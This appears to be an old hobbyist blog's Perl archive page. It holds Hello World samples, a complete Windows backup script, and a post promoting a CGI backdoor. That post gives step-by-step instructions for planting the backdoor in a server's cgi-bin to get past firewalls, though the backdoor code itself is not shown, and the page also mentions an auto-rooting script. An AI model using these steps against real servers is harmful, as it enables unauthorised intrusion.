Saturday, December 24, 2011
Anu
This is the auto-rooting script that is written for Linux, SunOS, Mac OS X, and FreeBSD.
Showing posts with label Perl. Show all posts
Showing posts with label Perl. Show all posts
Saturday, December 24, 2011
Wednesday, December 22, 2010
How to hack Server/Computer via CGI Backdoor...
This backdoor is very versitile because most firewalls do not block port 80, hence you can use this to backdoor a server on the unfortunate end of a firewall.
[
CGIbackdoor by Code Mobile <codemobile@yahoo.com>
member of Tiger Group <www.pctipsbyanu.tk>
This file includes two PERL scripts: backdoorserver and backdoorclient
]
Download Coding
I think a trained monkey can set this thing up, but just in case, I'll walk the newbiesthrough the setup.
To set this thing up first cut these two scripts and paste then into two different files.
Then 'chmod 755' both of them so they are executable. Then put the server file into the cgi-bin directory of the server you want to backdoor (or any other directory that is web accessable and cgi scripts can execute in). Then in the client file one line needs to be edited.
The line which says: my $basedir = "";
change to read:
my $basedir = "/cgi-bin/webpath/to/server/program/server_program_name";Now run the thing: usage: ./backdoorclient -h <back_doored_host>
This has been tested on an IRIX 5.3 box as well as a RedHat 6.0 box.
The client part seems to run on a Windows machine, however, the server as of now does not (at least on mine).
Any questions, comments, concerns, and especially any bugs reports or improvements that you would like to see. Feel free to contact me by email at codemobile@yahoo.com OR leave a comment.
Please do not bug me that the files aren't working. All email of this nature will be discarded. However if a genuine bug is found, as I just said, feel free to contact me.
Visit our new homepage: www.pctipsbyanu.tk
On a final note I would like to add that I am NOT responsible for any harm done with these programs. The only servers you backdoor should be owned by you unless you have expressed permission to do so.
Download Coding
Thanks...
Monday, November 8, 2010
'Hello World' in 10 programming languages
Before you start learning any programming language, you must knowthat how much important and popular the programming language is thatyou are going to learn.Because, learning itself is never a bad thing,we always motivate you to learn any new thing everyday. If yourlearning plan is in a managed and well planned way then you’ll nevereat mud in the mid way.
Most of the programming language have same methodology and almostsimilar to each other. If you learn PHP you can easily understand C andvice versa and same with others, because they are totally related toeach other.
"Hello World" Programs for top 10 programming language
One ofthe first programs that one usually writes when learning the firstprogramming language is "Hello World". Today we’ll show you the top tenprogramming language you must learn in your life to get never endingcareer in Computer Programming. We’ll also show you the first program"Hello World" to begin with.
PHP
<?php
// Hello World in PHP
echo 'Hello World!';
?>C#
//Hello World in C#
class HelloWorld
{
static void Main()
{
System.Console.WriteLine("Hello, World!");
}
}JavaScript
<html>
<body>
<script language="JavaScript" type="text/javascript">
// Hello World in JavaScript
document.write('Hello World');
</script>
</body>
</html>Perl
# Hello world in perl
print "Hello World!\n";
C
/* Hello World in C */
#include <stdio.h>
main()
{
printf ("Hello World!\n");
}Ruby
# Hello World in Ruby
puts "Hello World!"Java
// Hello World in Java
class HelloWorld {
static public void main( String args[] ) {
System.out.println( "Hello World!" );
}
}Python
# Hello World in Python
print "Hello World"VisualBasic.NET
'Hello World in Visual Basic .NET (VB.NET)
Imports System.Console
Class HelloWorld
Public Shared Sub Main()
WriteLine("Hello, world!")
End Sub
End ClassEnjoy programming n hacking...
Sunday, August 8, 2010
PERL : Windows XP BackUp Script
I'm copying from my local D:\ drive to a remote SMB mounted U:\drive.
The script only backs up one way, and it won't remove items thathave been deleted (I figure in the short term this could be a bonus butit may become a headache over time). The script will recursively dropthrough directories and copy any files to backup that either havechanged or do not appear on the backup drive.
There is also a primitive exclusion list. I have some large files onmy local drive in the "My Music" folder that I don't want to botherbacking up to the remote directory and some random empty "New Folder"folders that I used for testing. The exclusion file will make surethese directories are ignored.
The other trick with this script was getting it to run withoutinterrupting my work. I decided to use the windows system taskscheduler, but created a custom batch file to start the process so itwould be minimized. The batch file is pretty simple, I just used the"/min" option in the start command to avoid the hassle of a windowpopping up and stealing focus. The batch file is simply:
@ECHO OFF
start /min perl backuper.pl#! C:\Perl\bin
#
# Purpose: This Perl based backup client designed to examine
# folder contents and update them on the appropriate remote
# backup system.
#
# ANU 007 TIGER (pctipsbyanu@yahoo.com)
#
use strict;
use File::Copy;
use File::Compare;
#log file options
my $logFile = 'backuper.log';
my $outputLog = checkLogFile($logFile) or die("Error opening log file -- $@");
my @exclusion_list = ('.', '..', 'My Music', 'New Folder');
my %directories = ( 'D:\Documents and Settings\anu007tiger\My Documents', 'U:\mydocs',
'D:\Documents and Settings\anu007tiger\Desktop\bin', 'U:\bin');
while ( (my $ldir, my $rdir) = each(%directories) ) {
chdir $ldir or fatal_error("Couldn't change to $ldir");
if (! -d $rdir) {
fatal_error("Couldn't open the remote directory $rdir");
}
my $remoteFileName;
my $tmpDirName;
my $tmpRemDirName;
read_copy($ldir, $rdir);
}
######################
# SUBROUTINES #
######################
sub read_copy {
my $local_dir = $_[0] or fatal_error("No local directory specified. $!");
my $remote_dir = $_[1] or fatal_error("No remote directory specified. $!");
if (! -d $remote_dir ) {
mkdir($remote_dir) or fatal_error("Failed to create $remote_dir. $!");
}
opendir(DIRHANDLE, $local_dir) || fatal_error("Cannot opendir $local_dir. $!");
foreach my $name (sort readdir(DIRHANDLE)) {
if (! -d $name ) {
my $remoteFileName = $remote_dir . '\\' . $name ;
my $localFileName = $local_dir . '\\' . $name;
if (! -d $remote_dir) {
fatal_error("$remoteFileName doesn't seem to exist? $!");
}
if (! -d $localFileName) {
if ( checkBackup($localFileName, $remoteFileName) ) {
copy("$localFileName", "$remoteFileName") or die qq(Cannot copy "$localFileName" to "$remoteFileName": $!) ;
logIt("Backed up $localFileName to $remoteFileName");
}
}
elsif ( -d $localFileName && (! check_exclusion($name)) ) {
my $tmpDirName = $local_dir . '\\' . $name;
my $tmpRemDirName = $remote_dir . '\\' . $name;
read_copy($tmpDirName, $tmpRemDirName);
}
}
else {
if (! check_exclusion($name) ) {
my $dir1 = $local_dir . '\\' . $name;
my $dir2 = $remote_dir . '\\' . $name;
read_copy($dir1, $dir2);
}
}
}
closedir(DIRHANDLE);
}
sub checkBackup {
my $file1 = $_[0] or fatal_error("Missing first file in checkBackup(). $!");
my $file2 = $_[1] or fatal_error("Missing second file in checkBackup(). $!");
#check to see if we should back these files up
if (compare("$file1","$file2") == 0) {
return 0;
}
else {
return 1;
}
}
sub check_exclusion {
#checks the exclusion list for stuff not to copy
my $file = $_[0];
foreach my $item (@exclusion_list) {
if ($file eq $item) {
return 1;
}
}
return 0;
}
sub fatal_error {
#die and log the error
my $error_message = $_[0];
$error_message = "Fatal Error: " . $error_message;
logIt($error_message);
die ($error_message . "\n");
}
#####################
# Logging #
#####################
sub logIt {
#logs errors.
my $message = $_[0];
my @fullTime = localtime(time());
my $time = ($fullTime[5] + 1900) . "/" . (addZero($fullTime[4] + 1)) . "/";
$time .= addZero($fullTime[3]). " " . addZero($fullTime[2]) . ":";
$time .= addZero($fullTime[1]) . ":" . addZero($fullTime[0]);
my $logMessage = $time . "> $message \n";
print $outputLog $logMessage;
}
sub checkLogFile {
#checks the output files to make sure they're valid
my $file = $_[0];
my $openFile;
my $status = (stat($file))[7];
if (! $status) { $status = 0;}
if ( $status != 0) {
open($openFile, ">>" . $file) or die("Couldn't open log file for appending " . $file);
return $openFile;
}
else {
open($openFile, ">" . $file) or die("Couldn't create new log file " . $file);
return $openFile;
}
}
sub addZero {
#formats output to double digit
if (length($_[0]) < 2) {
return "0" . $_[0];
}
else {
return $_[0];
} }
Enjoy SCRIPTING...
Subscribe to:
Posts (Atom)
